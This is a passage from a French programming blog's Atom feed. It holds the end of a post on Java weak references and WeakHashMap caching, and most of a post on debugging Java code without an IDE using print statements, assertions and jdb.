&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeakHashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeakHashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Keys in cache: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;keySet&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; %s &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et l&amp;rsquo;on constate qu&amp;rsquo;à partir d&amp;rsquo;un certain moment, des blocs disparaissent du &lt;em&gt;cache&lt;/em&gt; (et ceci sans faire passer explicitement le &lt;em&gt;garbage collector&lt;/em&gt;). Le test est donc assez concluant.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-weakref-5.png" src="/images/screenshot-weakref-5.png" title="screenshot-weakref-5.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-weakref-6.png" src="/images/screenshot-weakref-6.png" title="screenshot-weakref-6.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Hormis les deux remarques concernant le &lt;em&gt;garbage collector&lt;/em&gt; et les références souples (&lt;em&gt;soft reference&lt;/em&gt;), les tests sont assez concluants.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on se réfère à l&amp;rsquo;introduction, nous pouvons maintenant nous présenter sans soucis à un entretien d&amp;rsquo;embauche et répondre que l&amp;rsquo;on sait ce que sont les références faibles (&lt;em&gt;weak reference&lt;/em&gt;)&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;h4&gt;Sources&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://weblogs.java.net/blog/2006/05/04/understanding-weak-references"&gt;Ethan Nicolas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.techrepublic.com/article/java-reference-objects-make-caching-easy/1049546"&gt;techrepublic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.flickr.com/photos/26518303@N00"&gt;Image&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Dans la suite, je ne dirai jamais le &lt;strong&gt;ramasse miettes&lt;/strong&gt; ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Les codes sont «à partir de JDK7»&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Si vous suivez les liens, vous verrez que l&amp;rsquo;on parle également de &lt;strong&gt;références fantômes&lt;/strong&gt; (&lt;em&gt;phantom reference&lt;/em&gt;) dont je n&amp;rsquo;ai pas parlé dans l&amp;rsquo;article.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Débuguer son code sans utiliser d'IDE…</title><link href="http://blog.namok.be/2012-03-23-debuguer-son-code-sans-utiliser-ide.html" rel="alternate"/><published>2012-03-23T00:00:00+01:00</published><updated>2012-03-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-03-23:/2012-03-23-debuguer-son-code-sans-utiliser-ide.html</id><summary type="html">Débuguer son code sans utiliser d'IDE…</summary><content type="html">&lt;p&gt;&lt;img alt="carpenter-bee.jpg" src="/images/carpenter-bee.jpg" title="carpenter-bee.jpg, oct. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Écrire un code sans erreur est une gageure que &lt;em&gt;bla bla bla&lt;/em&gt;. J&amp;rsquo;ai écrit du code, je constate qu&amp;rsquo;il ne fonctionne pas, comment faire pour le &lt;strong&gt;débuguer&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;La méthode, peut-être la plus simple, est de lancer un IDE (&lt;a href="http://netbeans.org"&gt;Netbeans&lt;/a&gt; ou autre) et de jouer avec son outil de débugage. Je place des points d&amp;rsquo;arrêt dans mon code et je &lt;em&gt;trace&lt;/em&gt; le programme… cette méthode nécessite le recours à un IDE et demandera un peu de temps de prise en main. On peut lire le &lt;a href="http://netbeans.org/features/java/debugger.html"&gt;how to Netbeans&lt;/a&gt; à ce sujet.&lt;/p&gt;
&lt;p&gt;Il existe cependant d&amp;rsquo;autres manières de faire qui peuvent être plus appropriées dans le cas de projets simples…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Avertissement&lt;/strong&gt; Je ne parle pas de JUnit dans la suite car je parle bien de &lt;strong&gt;débuguer&lt;/strong&gt; son code et non de le &lt;strong&gt;tester&lt;/strong&gt;. Ce sont, pour moi, deux tâches différentes (et toutes les deux indispensables… quoique les bisounours peuvent sans doute se passer de débugage)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Comment débuguer son code ?&lt;/li&gt;
&lt;li&gt;La méthode de l&amp;rsquo;homme pauvre&lt;/li&gt;
&lt;li&gt;Utilisations des assertions&lt;/li&gt;
&lt;li&gt;Utilisation d&amp;rsquo;un débugueur, &lt;em&gt;jdb&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;Comment débuguer son code ?&lt;/h3&gt;
&lt;p&gt;Débuguer un code, c&amp;rsquo;est trouver &lt;strong&gt;où&lt;/strong&gt; et &lt;strong&gt;quand&lt;/strong&gt; le code devient mauvais et &lt;strong&gt;pourquoi&lt;/strong&gt; ? Il existe plusieurs types d&amp;rsquo;erreurs; les erreurs de &lt;strong&gt;compilation&lt;/strong&gt; et de &lt;strong&gt;syntaxe&lt;/strong&gt;, les erreurs &lt;strong&gt;logiques&lt;/strong&gt; et les erreurs à l&amp;rsquo;exécution (&lt;strong&gt;&lt;em&gt;runtime&lt;/em&gt;&lt;/strong&gt;). En &lt;a href="http://java.sun.com"&gt;Java&lt;/a&gt;, les erreurs de compilation et de syntaxe sont rapidement détectées grâce au compilateur.&lt;/p&gt;
&lt;p&gt;Pour détecter les autres erreurs;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;placer des &lt;strong&gt;points d&amp;rsquo;arrêt&lt;/strong&gt; (&lt;em&gt;breakpoints&lt;/em&gt;) afin de savoir « jusqu&amp;rsquo;où ça fonctionne »;&lt;/li&gt;
&lt;li&gt;inspecter (&lt;em&gt;inspect&lt;/em&gt;) le contenu des variables afin de voir si elles   contiennent bien les valeurs que l&amp;rsquo;on attend;&lt;/li&gt;
&lt;li&gt;entrer à l&amp;rsquo;intérieur d&amp;rsquo;une méthode afin de parcourir ce qu&amp;rsquo;elle fait (&lt;em&gt;step in&lt;/em&gt;) ou bien simplement l&amp;rsquo;exécuter car l&amp;rsquo;on sait qu&amp;rsquo;elle fait bien son travail et passer à la suite (&lt;em&gt;step over&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si l&amp;rsquo;on ne sait pas par où commencer, il suffit de commencer par la première instruction de la méthode &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour débuguer son code, il existe différentes techniques&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la méthode de l&amp;rsquo;homme pauvre (ou des &lt;em&gt;&lt;code&gt;System.out.println&lt;/code&gt;&lt;/em&gt;) décrite ci-dessous&lt;/li&gt;
&lt;li&gt;la méthode des commentaires qui consiste à mettre tout le code en    commentaires et à décommenter ligne par ligne jusqu&amp;rsquo;à trouver l&amp;rsquo;endroit « qui coince »&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;utilisation d&amp;rsquo;un débugueur&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;La méthode de l&amp;rsquo;homme pauvre (&lt;em&gt;poor man&lt;/em&gt;)&lt;/h3&gt;
&lt;p&gt;La première méthode, celle que l&amp;rsquo;on préconise pour les débutants, consiste à placer des instructions &lt;code&gt;sout&lt;/code&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; dans son code afin de voir le contenu de certaines variables ou simplement de savoir si le programme « passe bien » par certaines instructions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DEBUG (...)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On évitera des commentaires de style « coucou », « passe par ici » et l&amp;rsquo;on préfèrera toujours commencer par le mot « &lt;strong&gt;DEBUG&lt;/strong&gt; ». Ceci afin de pouvoir facilement retrouver ce type de commentaire dans son code.&lt;/p&gt;
&lt;p&gt;Cette méthode, bien que qualifiée d&amp;rsquo;archaïque, &lt;em&gt;fait le boulot&lt;/em&gt; et peut convenir lorsqu&amp;rsquo;un débutant veut débuguer un programme (moyennement) simple. L&amp;rsquo;inconvénient de la méthode est qu&amp;rsquo;il faudra retirer ces commentaires à un moment donné.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on veut améliorer un peu la méthode, on peut placer &lt;em&gt;à l&amp;rsquo;endroit qui va bien&lt;/em&gt; une variable booléenne précisant si l&amp;rsquo;on veut les commentaires de débugage ou pas (on peut même envisager que cette valeur soit un argument du programme). Le code aura alors l&amp;rsquo;allure suivante&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;debugEnabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// (...)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debugEnabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DEBUG - &amp;lt;mon commentaire&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Utilisation des assertions&lt;/h3&gt;
&lt;p&gt;Cette technique peut venir en complément de la précédente. Le mécanisme consiste à placer à certains endroits du code un &lt;em&gt;check&lt;/em&gt; du style; &lt;em&gt;« je suppose que mon programme est dans cet état, sinon arrête toi »&lt;/em&gt;. Ce test consiste le plus souvent à tester l&amp;rsquo;état d&amp;rsquo;une ou plusieurs variables.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can use assertions to detect errors that may otherwise go unnoticed. Assertions contain Boolean expressions that define the correct state of your program at specific points in the program source code.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://java.sun.com/developer/technicalArticles/JavaLP/assertions/"&gt;http://java.sun.com/developer/technicalArticles/JavaLP/assertions/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cette méthode est liée au &lt;em&gt;design by contract&lt;/em&gt; (&lt;em&gt;design-by-contract model of programming&lt;/em&gt; voir &lt;a href="http://java.sun.com/developer/technicalArticles/JavaLP/assertions/"&gt;Qusay&lt;/a&gt;) qui, pour moi, peut être résumé par&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;certaines conditions sont invariantes tout au long du programme, je peux vérifier ces &lt;strong&gt;invariants&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;certaines conditions doivent être vérifiées avant l&amp;rsquo;appel d&amp;rsquo;une procédure ou d&amp;rsquo;un traitement, je peux vérifier ces &lt;strong&gt;préconditions&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;certaines conditions doivent être vérifiées après l&amp;rsquo;appel d&amp;rsquo;une procédure ou d&amp;rsquo;un traitement, je peux vérifier ces &lt;strong&gt;postconditions&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Par exemple&lt;/strong&gt;: Un traitement consiste en le calcul d&amp;rsquo;une racine carrée: &lt;em&gt;précondition&lt;/em&gt;, le nombre doit être positif.&lt;/p&gt;
&lt;p&gt;Une &lt;strong&gt;assertion&lt;/strong&gt; s&amp;rsquo;exprime à l&amp;rsquo;aide d&amp;rsquo;une expression booléenne. Lorsque celle-ci est fausse, le programme s&amp;rsquo;arrête et génère une exception. Une assertion peut être affublée d&amp;rsquo;un message spécifique.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Board&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;// on essaie de créer ce plateau de jeu &lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Board&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// ou&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Can&amp;#39;t create game board&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En Java, ce mécanisme est disponible depuis Java 1.4&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. 
Par défaut les assertions ne sont pas utilisées au &lt;em&gt;runtime&lt;/em&gt;. Ajouter ces instructions dans le code ne fait donc que « grossir » le code mais ne le font pas « ralentir ». Pour que ces assertions soient testées, il faut le dire à la machine virtuelle par le biais de l&amp;rsquo;option &lt;em&gt;enableassertion&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;my&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;package&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MyClass&lt;/span&gt;
&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;enableassertions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;my&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;package&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MyClass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Utilisation d&amp;rsquo;un débugueur, &lt;em&gt;jdb&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Java est fourni avec un débugueur (malheureusement) en ligne de commande. Pour pouvoir l&amp;rsquo;utiliser, il faut demander au compilateur de générer un &lt;em&gt;bytecode&lt;/em&gt; qui pourra être utilisé par &lt;em&gt;jdb&lt;/em&gt;. Cela se fait grâce à l&amp;rsquo;&lt;strong&gt;option &lt;code&gt;-g&lt;/code&gt;&lt;/strong&gt; (l&amp;rsquo;option &lt;code&gt;-O&lt;/code&gt; est alors à proscrire car un code optimisé ne pourra pas être débugué). Ensuite, lancer le débugueur &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;java&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;MyClass.java
jdb&lt;span class="w"&gt; &lt;/span&gt;MyClass
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les commandes comprise par &lt;em&gt;jdb&lt;/em&gt; sont (entre autres)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;stop&lt;/em&gt; in MyClass.foo&lt;/li&gt;
&lt;li&gt;&lt;em&gt;run&lt;/em&gt; (démarre l&amp;rsquo;exécution)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;cont&lt;/em&gt; (continue l&amp;rsquo;exécution après un break,… )&lt;/li&gt;
&lt;li&gt;&lt;em&gt;step&lt;/em&gt; (ligne par ligne)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;print&lt;/em&gt; (affiche la valeur d&amp;rsquo;une expression)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;locals&lt;/em&gt; (affiche les variables locales)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;threads&lt;/em&gt; (liste tous les threads)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;help&lt;/em&gt; (affiche l&amp;rsquo;aide)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une séance de débugage avec le code (erroné) suivant peut avoir l&amp;rsquo;allure décrite brièvement ci-dessous&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestJdb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
